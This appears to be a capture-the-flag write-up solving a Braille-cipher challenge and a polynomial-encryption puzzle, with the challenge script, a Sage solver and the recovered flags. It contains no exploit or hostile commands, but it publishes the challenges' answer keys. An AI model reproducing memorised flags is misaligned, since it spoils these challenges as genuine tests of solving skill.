⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}

That’s Braille cipher and cyberchef decoded it to get the flag image

Flag: BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}

Gooss

image

Looking at the script given shows this image

import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)

enc = []
for x in flag:
    res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
    enc.append(res)
print(enc)

#Output: [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]

From looking at the given script I figured that maybe to solve it the inverse will be calculated with gaussian elimination

But this would work faster too

from sage.all import *

var('a', 'b', 'c', 'd', 'e')

solution = solve([1245115057305148164 == 2*a*98**4 + b*98**3 + c*98**2+d*98+e,
       1835524676869638124 == 2*a*108**4 + b*108**3 + c*108**2+d*108+e,
       1195140205147730541 == 2*a*97**4 + b*97**3 + c*97**2+d*97+e,
       2441940832124642988 == 2*a*116**4 + b*116**3 + c*116**2+d*116+e,
       1404473868033353193 == 2*a*101**4 + b*101**3 + c*101**2+d*101+e], [a,b,c,d,e])

ct = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]

print(solution)

var('x')
poly = 2*solution[0][0].rhs()*x**4 + solution[0][1].rhs()*x**3 + solution[0][2].rhs()*x**2+solution[0][3].rhs()*x+solution[0][4].rhs()

pt = ""
for ciphertext in ct:
    #sol = solve(poly == ciphertext, x)
    for b in range(256):
        value = int(poly(x=b))
        if value == ciphertext:
            pt += chr(b)
            break
    else:
        print(f"Couldn't solve '{ciphertext}' in bytes")
print(pt)

5 unknown variables can be solved with 5 equations. After this you have the random polynomial, and you could either calculate the inverse of it to get the plaintext or you could also substract the ciphertext value from the polynomial and then the plaintext should be one of the zeros of that new polynomial.

1245115057305148164 = 2*a*98^4 + b*98^3 + c*98^2+d*98+e
1835524676869638124 = 2*a*108^4 + b*108^3 + c*108^2+d*108+e
1195140205147730541 = 2*a*97^4 + b*97^3 + c*97^2+d*97+e
2441940832124642988 = 2*a*116^4 + b*116^3 + c*116^2+d*116+e
1404473868033353193 = 2*a*101^4 + b*101^3 + c*101^2+d*101+e

With that, running it gives the flag image

I also solved it by using Gausssian Elimination

Here’s the script: script

I gave a quick explanation on how I went about it

And note that I used Matrix Calculator to solve the Simultaneous Linear Equations matcal matcal2

Flag: battleCTF{Maths_W1th_Gauss_0x0x0x}

And that’s all 🙂

Thanks for reading 😄